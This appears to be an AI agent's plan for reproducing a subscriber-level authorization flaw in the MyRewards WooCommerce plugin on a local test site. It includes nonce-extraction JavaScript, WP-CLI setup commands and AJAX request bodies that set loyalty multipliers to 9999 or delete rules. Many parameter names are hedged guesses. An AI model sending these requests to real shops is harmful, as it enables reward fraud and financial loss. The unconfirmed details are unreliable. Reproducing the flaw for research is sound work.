Vulnerability Research Plan: CVE-2025-15260 (MyRewards Loyalty Rules Modification)

1. Vulnerability Summary

The MyRewards – Loyalty Points and Rewards for WooCommerce plugin (<= 5.6.1) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the ajax() method (likely within the rule management or general AJAX controller) fails to perform a capability check (e.g., current_user_can('manage_options')) before processing requests to add, modify, or delete loyalty earning rules.

While a WordPress nonce check is present, the nonce is frequently exposed to authenticated users (including Subscribers) via localized scripts on both admin and frontend pages. This allows a Subscriber-level attacker to manipulate loyalty program point multipliers, potentially setting them to extreme values (e.g., 1000 points per $1 spent), leading to financial loss or system abuse.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: woorewards_ajax (associated with the ajax() function in the rule management class).
• Vulnerable Parameter: method (defines the sub-action), rule (array containing rule data), and id (the target rule ID).
• Authentication: Authenticated, Subscriber (Level 0) or above.
• Preconditions: At least one loyalty rule must exist (the plugin usually has a default one or it can be created by the attacker via the same vulnerable endpoint).

3. Code Flow

1. Entry Point: A Subscriber sends a POST request to admin-ajax.php with action=woorewards_ajax.
2. Hook: The plugin registers this action via add_action( 'wp_ajax_woorewards_ajax', ... ).
3. Dispatching: The ajax() function is called. It checks the method parameter (e.g., save_rule).
4. Nonce Check: The function likely calls check_ajax_referer('woorewards_ajax', 'nonce') or wp_verify_nonce(). Since the Subscriber can obtain this nonce from the frontend/dashboard, this check passes.
5. Vulnerability: The function omits a check for current_user_can('manage_options').
6. Processing: Input from the rule or multiplier parameter is passed directly to the rule update logic (e.g., update_option or a database query), allowing arbitrary modification of multipliers.

4. Nonce Acquisition Strategy

The plugin uses wp_localize_script to pass the AJAX URL and nonce to the client-side JavaScript. Based on the plugin's structure, the nonce for the woorewards_ajax action is typically localized in an object named woorewards_admin_rules or lws_adminpanel.

1. Identify Page: Visit any page where the loyalty program is active (e.g., My Account page or a page containing the [myrewards_points] shortcode).
2. Shortcode Creation:

   wp post create --post_type=page --post_status=publish --post_title="Loyalty" --post_content='[myrewards_account]'
   

3. Browser Navigation: Navigate to the newly created page as a Subscriber.
4. Extraction:
   Use browser_eval to extract the nonce:

   // Common localization keys for this plugin
   window.woorewards_rules_params?.nonce || window.lws_adminpanel?.nonce || window.woorewards_admin?.nonce
   

5. Exploitation Strategy

Step 1: Identify existing Rules

Use WP-CLI to find a valid Rule ID to modify.

wp option get woorewards_rules

Step 2: Trigger Modification

Send a POST request to admin-ajax.php to change the multiplier of an existing rule to an astronomical value.

Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=woorewards_ajax&method=save_rule&rule[id]=RULE_ID&rule[multiplier]=9999&nonce=EXTRACTED_NONCE
  

  (Note: The exact parameter structure might be id=RULE_ID&multiplier=9999 or inside a rule[] array depending on the specific ajax() implementation).

Step 3: Trigger Addition (Alternative)

If no rules exist, attempt to add one:

action=woorewards_ajax&method=save_rule&rule[name]=Hacked+Rule&rule[type]=cart_amount&rule[multiplier]=5000&nonce=EXTRACTED_NONCE

6. Test Data Setup

1. Create a Subscriber User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

2. Create a Loyalty Rule:
   Ensure the MyRewards plugin is active and a basic rule exists.

   # Add a dummy rule via option (plugin storage format)
   wp option update woorewards_rules '[{"id":"1","name":"Default Rule","multiplier":"1","type":"cart_amount","active":"on"}]' --format=json
   

3. Create a Nonce-Leaking Page:

   wp post create --post_type=page --post_status=publish --post_content='[myrewards_account]'
   

7. Expected Results

• HTTP Response: 200 OK or a JSON success message (e.g., {"success":true}).
• Data Persistence: The loyalty rule in the database should now reflect the malicious multiplier.
• Frontend Impact: When a user adds an item to their cart, the calculated rewards should use the new multiplier (e.g., a $10 purchase yielding 99,990 points).

8. Verification Steps

After performing the http_request, verify the change using WP-CLI:

# Check the rules option for the modified multiplier
wp option get woorewards_rules

Look for the multiplier field in the JSON output to confirm it has changed from 1 to 9999.

9. Alternative Approaches

• Rule Deletion: If method=save_rule fails, try method=delete_rule&id=RULE_ID.
• EditList Action: If the plugin uses the lws-adminpanel library's generic handler, the action might be lws_editlist_action with subaction=apply.
  • Body: action=lws_editlist_action&subaction=apply&id=1&multiplier=9999&nonce=...
• Parameter Variation: Try passing the rule data as a JSON string in a data parameter if the rule array doesn't work.